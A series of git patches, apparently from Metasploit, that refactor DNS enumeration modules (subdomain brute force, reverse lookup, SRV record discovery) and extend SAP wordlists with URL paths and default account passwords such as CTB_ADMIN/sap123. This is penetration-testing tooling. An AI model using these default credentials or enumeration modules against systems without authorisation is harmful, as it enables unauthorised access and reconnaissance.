record[:address] = r[:address].to_s - results << record - end - end - end - return results - end - - #--------------------------------------------------------------------------------- - def get_soa(target) - results = [] - query = @res.query(target, "SOA") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - if Rex::Socket.dotted_ip?(rr.mname) - record = {} - record[:host] = rr.mname - record[:type] = "SOA" - record[:address] = rr.mname - results << record - else - get_ip(rr.mname).each do |ip| - record = {} - record[:host] = rr.mname.gsub(/\.$/,'') - record[:type] = "SOA" - record[:address] = ip[:address].to_s - results << record - end - end - end - end - return results - end - - #--------------------------------------------------------------------------------- - def get_txt(target) - results = [] - query = @res.query(target, "TXT") - if (query) - query.answer.each do |rr| + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| record = {} - print_good("Text: #{rr.txt}, TXT") - record[:host] = target - record[:text] = rr.txt - record[:type] = "TXT" + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s results << record end end return results end - #--------------------------------------------------------------------------------- - def get_mx(target) + def get_soa(target) results = [] - query = @res.query(target, "MX") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| - if Rex::Socket.dotted_ip?(rr.exchange) + query = @res.query(target, "SOA") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| record = {} - record[:host] = rr.exchange - record[:type] = "MX" - record[:address] = rr.exchange + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def get_txt(target) + results = [] + query = @res.query(target, "TXT") + return results if not query + query.answer.each do |rr| + record = {} + record[:host] = target + record[:text] = rr.txt + record[:type] = "TXT" + results << record + end + return results + end + + def get_mx(target) + results = [] + query = @res.query(target, "MX") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| + if Rex::Socket.dotted_ip?(rr.exchange) + record = {} + record[:host] = rr.exchange + record[:type] = "MX" + record[:address] = rr.exchange + results << record + else + get_ip(rr.exchange).each do |ip| + record = {} + record[:host] = rr.exchange.gsub(/\.$/,'') + record[:type] = "MX" + record[:address] = ip[:address].to_s results << record - else - get_ip(rr.exchange).each do |ip| - record = {} - record[:host] = rr.exchange.gsub(/\.$/,'') - record[:type] = "MX" - record[:address] = ip[:address].to_s - results << record - end end end end return results end - #--------------------------------------------------------------------------------- def switchdns() print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) From 6aed858f8063ba45172b74c34b7dadd8bb1993a1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 12:37:46 +0100 Subject: [PATCH 099/341] cleanup for dns_bruteforce --- modules/auxiliary/gather/dns_bruteforce.rb | 26 +++++++++------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index c41403f7e9..74ca1672ec 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,43 +14,41 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Host and Subdomain Brutefoce', + 'Name' => 'DNS Brutefoce Enumeration', 'Description' => %q{ - This module uses a dictionary to perform a bruteforce on hostnames and subdomains - available under a given domain. + This module uses a dictionary to perform a bruteforce attack to enumerate + hostnames and subdomains available under a given domain. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE - )) + )) register_options( [ OptString.new('DOMAIN', [ true, "The target domain name"]), OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system DNS" ]), - OptPath.new('WORDLIST', [ false, "Wordlist file for domain name brute force.", - File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]), - + OptPath.new('WORDLIST', [ true, "Wordlist file for domain name brute force.", + File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]) ], self.class) register_advanced_options( [ OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), - OptInt.new('THREADS', [ false, "Number of threads", 1]), + OptInt.new('THREADS', [ true, "Number of threads", 1]) ], self.class) end def run print_status("Enumerating #{datastore['DOMAIN']}") @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + @res.retry = datastore['RETRY'].to_i unless datastore['RETRY'].nil? + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i unless datastore['RETRY_INTERVAL'].nil? wildcard(datastore['DOMAIN']) - switchdns() if not datastore['NS'].nil? + switchdns() unless datastore['NS'].nil? dnsbrt(datastore['DOMAIN']) end - #--------------------------------------------------------------------------------- def wildcard(target) rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") @@ -65,7 +63,6 @@ class Metasploit3 < Msf::Auxiliary end end - #--------------------------------------------------------------------------------- def get_ip(host) results = [] query = @res.search(host, "A") @@ -99,7 +96,6 @@ class Metasploit3 < Msf::Auxiliary return results end - #--------------------------------------------------------------------------------- def switchdns() print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @@ -119,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary Thread.current.kill if not testf vprint_status("Testing #{testf}.#{domain}") get_ip("#{testf}.#{domain}").each do |i| - print_good("#{i[:host]} #{i[:address]}") + print_good("Host #{i[:host]} with address #{i[:address]} found") report_host( :host => i[:address].to_s, :name => i[:host].gsub(/\.$/,'') From 38f5fbced32dba8238a1a84b04fee141403863db Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 12:56:01 +0100 Subject: [PATCH 100/341] cleanup for dns_reverse_lookup --- .../auxiliary/gather/dns_reverse_lookup.rb | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 20826e56d8..80ae0a844f 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -16,24 +16,24 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Reverse Lookup Enumeration', 'Description' => %q{ - This module performs a reverse rookup against a given IP range. + This module performs DNS reverse lookup against a given IP range in order to + retrieve valid addresses and names. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE - )) + )) register_options( [ - OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.', nil]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]), - + OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.']), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]) ], self.class) register_advanced_options( [ OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), - OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]) ], self.class) end @@ -49,11 +49,10 @@ class Metasploit3 < Msf::Auxiliary end @threadnum = datastore['THREADS'].to_i - switchdns() if not datastore['NS'].nil? + switchdns() unless datastore['NS'].nil? reverselkp(datastore['RANGE']) end - #------------------------------------------------------------------------------- def reverselkp(iprange) print_status("Running reverse lookup against IP range #{iprange}") ar = Rex::Socket::RangeWalker.new(iprange) @@ -67,11 +66,10 @@ class Metasploit3 < Msf::Auxiliary begin query = @res.query(tip) query.each_ptr do |addresstp| - print_status("Host Name: #{addresstp} IP Address: #{tip.to_s}") - + print_status("Host Name: #{addresstp}, IP Address: #{tip.to_s}") report_host( - :host => tip.to_s, - :name => addresstp + :host => tip.to_s, + :name => addresstp ) end rescue ::Interrupt @@ -91,7 +89,6 @@ class Metasploit3 < Msf::Auxiliary end end - #--------------------------------------------------------------------------------- def switchdns() print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) From 21366dd4df6dac460a902152aa9309335ac8c230 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:20:23 +0100 Subject: [PATCH 101/341] Updated SAP URL list to include further known URLs --- data/wordlists/sap_icm_paths.txt | 41 ++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index 8477a17258..22d3b716d3 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -116,6 +116,7 @@ /sap/bc/bsp/sap/graph_bsp_test /sap/bc/bsp/sap/graph_bsp_test/Mimes /sap/bc/bsp/sap/gsbirp +/sap/bc/bsp/sap/hrrcf_wd_dovru /sap/bc/bsp/sap/htmlb_samples /sap/bc/bsp/sap/iccmp_bp_cnfirm /sap/bc/bsp/sap/iccmp_hdr_cntnr @@ -124,6 +125,9 @@ /sap/bc/bsp/sap/iccmp_ssc_ll/ /sap/bc/bsp/sap/ic_frw_notify /sap/bc/bsp/sap/it00 +/sap/bc/bsp/sap/it00/default.htm +/sap/bc/bsp/sap/it00/http_client.htm +/sap/bc/bsp/sap/it00/http_client_xml.htm /sap/bc/bsp/sap/public/bc /sap/bc/bsp/sap/public/graphics /sap/bc/bsp/sap/sam_demo @@ -141,6 +145,17 @@ /sap/bc/bsp/sap/xmb_bsp_log /sap/bc/contentserver /sap/bc/echo +/sap/bc/erecruiting/applwzd +/sap/bc/erecruiting/confirmation_e +/sap/bc/erecruiting/confirmation_i +/sap/bc/erecruiting/dataoverview +/sap/bc/erecruiting/password +/sap/bc/erecruiting/posting_apply +/sap/bc/erecruiting/qa_email_e +/sap/bc/erecruiting/qa_email_i +/sap/bc/erecruiting/registration +/sap/bc/erecruiting/startpage +/sap/bc/erecruiting/verification /sap/bc/error /sap/bc/FormToRfc /sap/bc/graphics/net @@ -169,6 +184,32 @@ /sap/bc/webdynpro/sap/esh_adm_smoketest_ui /sap/bc/webdynpro/sap/esh_eng_modelling /sap/bc/webdynpro/sap/esh_search_results.ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int +/sap/bc/webdynpro/sap/hrrcf_a_appls +/sap/bc/webdynpro/sap/hrrcf_a_applwizard +/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration +/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification +/sap/bc/webdynpro/sap/hrrcf_a_dataoverview +/sap/bc/webdynpro/sap/hrrcf_a_draft_applications +/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail +/sap/bc/webdynpro/sap/hrrcf_a_posting_apply +/sap/bc/webdynpro/sap/hrrcf_a_psett_ext +/sap/bc/webdynpro/sap/hrrcf_a_psett_int +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern +/sap/bc/webdynpro/sap/hrrcf_a_qa_mss +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int +/sap/bc/webdynpro/sap/hrrcf_a_req_assess +/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor +/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin +/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager +/sap/bc/webdynpro/sap/hrrcf_a_tp_assess +/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand /sap/bc/webdynpro/sap/sh_adm_smoketest_files /sap/bc/webdynpro/sap/wd_analyze_config_appl /sap/bc/webdynpro/sap/wd_analyze_config_comp From fb7d0159c3f3287546ab61eb0fe25e5de51760be Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:26:44 +0100 Subject: [PATCH 102/341] Further URLs --- data/wordlists/sap_icm_paths.txt | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index 22d3b716d3..ca13999d8c 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -240,6 +240,8 @@ /sap/public/bc /sap/public/bc/icons /sap/public/bc/icons_rtl +/sap/public/bc/its +/sap/public/bc/its/designs /sap/public/bc/its/mimes /sap/public/bc/its/mimes/system/SL/page/hourglass.html /sap/public/bc/its/mobile/itsmobile00 @@ -252,8 +254,10 @@ /sap/public/bc/pictograms /sap/public/bc/sicf_login_run /sap/public/bc/trex +/sap/public/bc/ur /sap/public/bc/ur /sap/public/bc/wdtracetool +/sap/public/bc/webdynpro /sap/public/bc/webdynpro/adobechallenge /sap/public/bc/webdynpro/mimes /sap/public/bc/webdynpro/ssr @@ -261,15 +265,22 @@ /sap/public/bc/webicons /sap/public/bc/workflow /sap/public/bc/workflow/shortcut +/sap/public/bsp +/sap/public/bsp/sap /sap/public/bsp/sap +/sap/public/bsp/sap/htmlb /sap/public/bsp/sap/htmlb +/sap/public/bsp/sap/public /sap/public/bsp/sap/public +/sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/faa /sap/public/bsp/sap/public/graphics /sap/public/bsp/sap/public/graphics/jnet_handler /sap/public/bsp/sap/public/graphics/mimes +/sap/public/bsp/sap/system /sap/public/bsp/sap/system +/sap/public/bsp/sap/system_public /sap/public/bsp/sap/system_public /sap/public/icf_check /sap/public/icf_info From 5df03f790b88a6e33004a533135f331cee64a02a Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:31:35 +0100 Subject: [PATCH 103/341] Remove end of line spaces and rerun uniq --- data/wordlists/sap_icm_paths.txt | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index ca13999d8c..903a8a1843 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -93,11 +93,11 @@ /rwb/version.html /sap/admin /sap/bc/bsp/esh_os_service/favicon.gif -/sap/bc/bsp/sap +/sap/bc/bsp/sap /sap/bc/bsp/sap/alertinbox /sap/bc/bsp/sap/bsp_dlc_frcmp /sap/bc/bsp/sap/bsp_veri -/sap/bc/bsp/sap/bsp_verificatio +/sap/bc/bsp/sap/bsp_verificatio /sap/bc/bsp/sap/bsp_wd_base /sap/bc/bsp/sap/bspwd_basics /sap/bc/bsp/sap/certmap @@ -117,28 +117,28 @@ /sap/bc/bsp/sap/graph_bsp_test/Mimes /sap/bc/bsp/sap/gsbirp /sap/bc/bsp/sap/hrrcf_wd_dovru -/sap/bc/bsp/sap/htmlb_samples +/sap/bc/bsp/sap/htmlb_samples /sap/bc/bsp/sap/iccmp_bp_cnfirm /sap/bc/bsp/sap/iccmp_hdr_cntnr /sap/bc/bsp/sap/iccmp_hdr_cntnt /sap/bc/bsp/sap/iccmp_header /sap/bc/bsp/sap/iccmp_ssc_ll/ /sap/bc/bsp/sap/ic_frw_notify -/sap/bc/bsp/sap/it00 +/sap/bc/bsp/sap/it00 /sap/bc/bsp/sap/it00/default.htm /sap/bc/bsp/sap/it00/http_client.htm /sap/bc/bsp/sap/it00/http_client_xml.htm -/sap/bc/bsp/sap/public/bc +/sap/bc/bsp/sap/public/bc /sap/bc/bsp/sap/public/graphics /sap/bc/bsp/sap/sam_demo /sap/bc/bsp/sap/sam_notifying /sap/bc/bsp/sap/sam_sess_queue -/sap/bc/bsp/sap/sbspext_htmlb -/sap/bc/bsp/sap/sbspext_xhtmlb +/sap/bc/bsp/sap/sbspext_htmlb +/sap/bc/bsp/sap/sbspext_xhtmlb /sap/bc/bsp/sap/spi_admin /sap/bc/bsp/sap/spi_monitor /sap/bc/bsp/sap/sxms_alertrules -/sap/bc/bsp/sap/system +/sap/bc/bsp/sap/system /sap/bc/bsp/sap/thtmlb_scripts /sap/bc/bsp/sap/thtmlb_styles /sap/bc/bsp/sap/uicmp_ltx @@ -180,7 +180,7 @@ /sap/bc/webdynpro/sap/cnp_light_test /sap/bc/webdynpro/sap/configure_application /sap/bc/webdynpro/sap/configure_component -/sap/bc/webdynpro/sap/esh_admin_ui_component +/sap/bc/webdynpro/sap/esh_admin_ui_component /sap/bc/webdynpro/sap/esh_adm_smoketest_ui /sap/bc/webdynpro/sap/esh_eng_modelling /sap/bc/webdynpro/sap/esh_search_results.ui @@ -237,13 +237,12 @@ /sapmc/sapmc.html /sap/monitoring/ /sap/public/bc -/sap/public/bc /sap/public/bc/icons /sap/public/bc/icons_rtl /sap/public/bc/its /sap/public/bc/its/designs /sap/public/bc/its/mimes -/sap/public/bc/its/mimes/system/SL/page/hourglass.html +/sap/public/bc/its/mimes/system/SL/page/hourglass.html /sap/public/bc/its/mobile/itsmobile00 /sap/public/bc/its/mobile/itsmobile01 /sap/public/bc/its/mobile/rfid @@ -255,7 +254,6 @@ /sap/public/bc/sicf_login_run /sap/public/bc/trex /sap/public/bc/ur -/sap/public/bc/ur /sap/public/bc/wdtracetool /sap/public/bc/webdynpro /sap/public/bc/webdynpro/adobechallenge @@ -267,21 +265,15 @@ /sap/public/bc/workflow/shortcut /sap/public/bsp /sap/public/bsp/sap -/sap/public/bsp/sap /sap/public/bsp/sap/htmlb -/sap/public/bsp/sap/htmlb /sap/public/bsp/sap/public -/sap/public/bsp/sap/public /sap/public/bsp/sap/public/bc -/sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/faa /sap/public/bsp/sap/public/graphics /sap/public/bsp/sap/public/graphics/jnet_handler /sap/public/bsp/sap/public/graphics/mimes /sap/public/bsp/sap/system -/sap/public/bsp/sap/system /sap/public/bsp/sap/system_public -/sap/public/bsp/sap/system_public /sap/public/icf_check /sap/public/icf_info /sap/public/icf_info/icr_groups From 65194441122d858f02c52d896fc933a3ab1cbdae Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:35:25 +0100 Subject: [PATCH 104/341] Addition defaults --- data/wordlists/sap_default.txt | 3 +++ 1 file changed, 3 insertions(+) diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index dcd73dd49c..2102fd069b 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -12,3 +12,6 @@ ADS_AGENT ch4ngeme DEVELOPER ch4ngeme J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme +SAPR3 SAP +CTB_ADMIN sap123 +XMI_DEMO sap123 \ No newline at end of file From 374faf9b0282c03312711af28b3a760d0154bf25 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 16:19:48 +0100 Subject: [PATCH 105/341] cleanup for dns_srv --- modules/auxiliary/gather/dns_srv.rb | 110 ++++++++++++++-------------- 1 file changed, 55 insertions(+), 55 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index a80e864b20..aeb3eef1c5 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -16,7 +16,12 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Common Service Record Enumeration', 'Description' => %q{ - This module enumerates common DNS service records. + This module enumerates common DNS service records in a given domain. By setting + the ALL_DNS to true, all the name servers of a given domain are used for + enumeration. Otherwise only the system dns is used for enumration. in order to get + all the available name servers for the given domain the SOA and NS records are + queried. In order to convert from domain names to IP addresses queries for A and + AAAA (IPv6) records are used. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -25,13 +30,13 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('DOMAIN', [ true, "The target domain name."]), - OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 3]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 4]), + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) ], self.class) end @@ -61,6 +66,10 @@ class Metasploit3 < Msf::Auxiliary records.uniq! records.each do |r| print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) report_service( :host=> r[:address].to_s, :port => r[:port].to_i, @@ -68,39 +77,34 @@ class Metasploit3 < Msf::Auxiliary :name => r[:service], :host_name => r[:host] ) - report_host( - :host => r[:address].to_s, - :name => r[:host] - ) end end - #--------------------------------------------------------------------------------- + def get_soa(target) results = [] query = @res.query(target, "SOA") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - if Rex::Socket.dotted_ip?(rr.mname) + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| record = {} - record[:host] = rr.mname + record[:host] = rr.mname.gsub(/\.$/,'') record[:type] = "SOA" - record[:address] = rr.mname + record[:address] = ip[:address].to_s results << record - else - get_ip(rr.mname).each do |ip| - record = {} - record[:host] = rr.mname.gsub(/\.$/,'') - record[:type] = "SOA" - record[:address] = ip[:address].to_s - results << record - end end end end return results end - #------------------------------------------------------------------------------- + def srvqry(dom) results = [] #Most common SRV Records @@ -127,36 +131,35 @@ class Metasploit3 < Msf::Auxiliary begin query = @res.query(trg , Net::DNS::SRV) - if query - query.answer.each do |srv| - if Rex::Socket.dotted_ip?(srv.host) + next unless query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do |ip| record = {} srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] record[:host] = srv.host.gsub(/\.$/,'') record[:type] = "SRV" - record[:address] = srv.host + record[:address] = ip[:address] record[:srv] = srvt record[:service] = srv_info[0] record[:proto] = srv_info[1] record[:port] = srv.port record[:priority] = srv.priority results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") - else - get_ip(srv.host.gsub(/\.$/,'')).each do |ip| - record = {} - srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] - record[:host] = srv.host.gsub(/\.$/,'') - record[:type] = "SRV" - record[:address] = ip[:address] - record[:srv] = srvt - record[:service] = srv_info[0] - record[:proto] = srv_info[1] - record[:port] = srv.port - record[:priority] = srv.priority - results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") - end + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") end end end @@ -166,7 +169,6 @@ class Metasploit3 < Msf::Auxiliary return results end - #--------------------------------------------------------------------------------- def get_ip(host) results = [] query = @res.search(host, "A") @@ -199,26 +201,24 @@ class Metasploit3 < Msf::Auxiliary end return results end - #--------------------------------------------------------------------------------- + def switchdns(ns) vprint_status("Enumerating SRV Records on: #{ns}") @res.nameserver=(ns) @nsinuse = ns end - #--------------------------------------------------------------------------------- def get_ns(target) results = [] query = @res.query(target, "NS") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| - get_ip(rr.nsdname).each do |r| - record = {} - record[:host] = rr.nsdname.gsub(/\.$/,'') - record[:type] = "NS" - record[:address] = r[:address].to_s - results << record - end + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record end end return results From d1ba8604099e7ebf8c6951aa4ea745e1e8daa860 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 16:20:33 +0100 Subject: [PATCH 106/341] changing filename for dns_srv --- modules/auxiliary/gather/dns_srv.rb | 227 ---------------------------- 1 file changed, 227 deletions(-) delete mode 100644 modules/auxiliary/gather/dns_srv.rb diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb deleted file mode 100644 index aeb3eef1c5..0000000000 --- a/modules/auxiliary/gather/dns_srv.rb +++ /dev/null @@ -1,227 +0,0 @@ -## -# ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require "net/dns/resolver" -require 'rex' - -class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'DNS Common Service Record Enumeration', - 'Description' => %q{ - This module enumerates common DNS service records in a given domain. By setting - the ALL_DNS to true, all the name servers of a given domain are used for - enumeration. Otherwise only the system dns is used for enumration. in order to get - all the available name servers for the given domain the SOA and NS records are - queried. In order to convert from domain names to IP addresses queries for A and - AAAA (IPv6) records are used. - }, - 'Author' => [ 'Carlos Perez ' ], - 'License' => BSD_LICENSE - )) - - register_options( - [ - OptString.new('DOMAIN', [ true, "The target domain name."]), - OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) - ], self.class) - - register_advanced_options( - [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) - ], self.class) - end - - def run - records = [] - @res = Net::DNS::Resolver.new() - if datastore['RETRY'] - @res.retry = datastore['RETRY'].to_i - end - - if datastore['RETRY_INTERVAL'] - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i - end - - print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") - records = records + srvqry(datastore['DOMAIN']) - if datastore["ALL_NS"] - get_soa(datastore['DOMAIN']).each do |s| - switchdns(s[:address]) - records = records + srvqry(datastore['DOMAIN']) - end - get_ns(datastore['DOMAIN']).each do |ns| - switchdns(ns[:address]) - records =records + srvqry(datastore['DOMAIN']) - end - end - records.uniq! - records.each do |r| - print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") - report_host( - :host => r[:address].to_s, - :name => r[:host] - ) - report_service( - :host=> r[:address].to_s, - :port => r[:port].to_i, - :proto => r[:proto], - :name => r[:service], - :host_name => r[:host] - ) - end - - end - - def get_soa(target) - results = [] - query = @res.query(target, "SOA") - return results if not query - (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - if Rex::Socket.dotted_ip?(rr.mname) - record = {} - record[:host] = rr.mname - record[:type] = "SOA" - record[:address] = rr.mname - results << record - else - get_ip(rr.mname).each do |ip| - record = {} - record[:host] = rr.mname.gsub(/\.$/,'') - record[:type] = "SOA" - record[:address] = ip[:address].to_s - results << record - end - end - end - return results - end - - def srvqry(dom) - results = [] - #Most common SRV Records - srvrcd = [ - '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', - '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', - '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', - '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', - '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', - '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', - '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', - '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', - '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', - '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', - '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', - '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', - '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', - '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', 